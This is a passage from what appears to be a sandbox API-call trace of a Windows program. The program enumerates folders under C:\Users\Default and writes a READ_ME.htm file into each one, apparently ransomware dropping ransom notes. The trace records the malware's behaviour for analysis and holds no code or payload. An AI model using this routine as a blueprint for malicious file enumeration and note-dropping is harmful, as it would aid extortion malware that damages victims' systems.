hFile=0x1d0, lpBuffer=0x286cd48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x286cd48*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.842] CloseHandle (hObject=0x1d0) returned 1 [0143.842] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x27 [0143.842] SetErrorMode (uMode=0x1) returned 0x0 [0143.842] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*" (normalized: "c:\\users\\default\\favorites\\msn websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.844] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.844] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0143.844] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0143.845] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0143.845] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0143.845] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0143.845] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0143.845] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0143.845] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.846] SetErrorMode (uMode=0x0) returned 0x1 [0143.846] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x27 [0143.846] SetErrorMode (uMode=0x1) returned 0x0 [0143.846] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*" (normalized: "c:\\users\\default\\favorites\\msn websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.847] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0143.848] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0143.849] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.849] SetErrorMode (uMode=0x0) returned 0x1 [0143.850] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\MSN Websites\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0143.850] SetErrorMode (uMode=0x1) returned 0x0 [0143.850] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\READ_ME.htm" (normalized: "c:\\users\\default\\favorites\\msn websites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.851] GetFileType (hFile=0x1d0) returned 0x1 [0143.851] SetErrorMode (uMode=0x0) returned 0x1 [0143.851] GetFileType (hFile=0x1d0) returned 0x1 [0143.851] WriteFile (in: hFile=0x1d0, lpBuffer=0x2873908*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2873908*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.852] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0143.853] SetErrorMode (uMode=0x1) returned 0x0 [0143.853] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\READ_ME.htm" (normalized: "c:\\users\\default\\favorites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.854] GetFileType (hFile=0x1d0) returned 0x1 [0143.854] SetErrorMode (uMode=0x0) returned 0x1 [0143.854] GetFileType (hFile=0x1d0) returned 0x1 [0143.854] WriteFile (in: hFile=0x1d0, lpBuffer=0x2877e68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2877e68*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.855] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0143.856] SetErrorMode (uMode=0x1) returned 0x0 [0143.856] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*" (normalized: "c:\\users\\default\\links\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.857] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0143.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0143.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3011f30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0143.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0143.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0143.858] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.859] SetErrorMode (uMode=0x0) returned 0x1 [0143.859] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0143.859] SetErrorMode (uMode=0x1) returned 0x0 [0143.859] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*" (normalized: "c:\\users\\default\\links\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.860] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.860] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.861] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0143.861] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a00de0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0143.861] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3011f30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0143.861] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0143.861] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a4d0a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a4d0a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0143.861] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.862] SetErrorMode (uMode=0x0) returned 0x1 [0143.862] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links\\READ_ME.htm", lpFilePart=0x0) returned 0x22 [0143.862] SetErrorMode (uMode=0x1) returned 0x0 [0143.862] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\READ_ME.htm" (normalized: "c:\\users\\default\\links\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.863] GetFileType (hFile=0x1d0) returned 0x1 [0143.863] SetErrorMode (uMode=0x0) returned 0x1 [0143.863] GetFileType (hFile=0x1d0) returned 0x1 [0143.863] WriteFile (in: hFile=0x1d0, lpBuffer=0x287e488*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x287e488*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.864] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings", lpFilePart=0x0) returned 0x1f [0143.865] SetErrorMode (uMode=0x1) returned 0x0 [0143.865] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*" (normalized: "c:\\users\\default\\local settings\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.866] SetErrorMode (uMode=0x0) returned 0x1 [0143.867] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0143.867] SetErrorMode (uMode=0x1) returned 0x0 [0143.867] CreateFileW (lpFileName="C:\\Users\\Default\\Local Settings\\READ_ME.htm" (normalized: "c:\\users\\default\\local settings\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.868] GetFileType (hFile=0x1d0) returned 0x1 [0143.868] SetErrorMode (uMode=0x0) returned 0x1 [0143.868] GetFileType (hFile=0x1d0) returned 0x1 [0143.869] WriteFile (in: hFile=0x1d0, lpBuffer=0x2883e00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2883e00*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.869] CloseHandle (hObject=0x1d0) returned 1 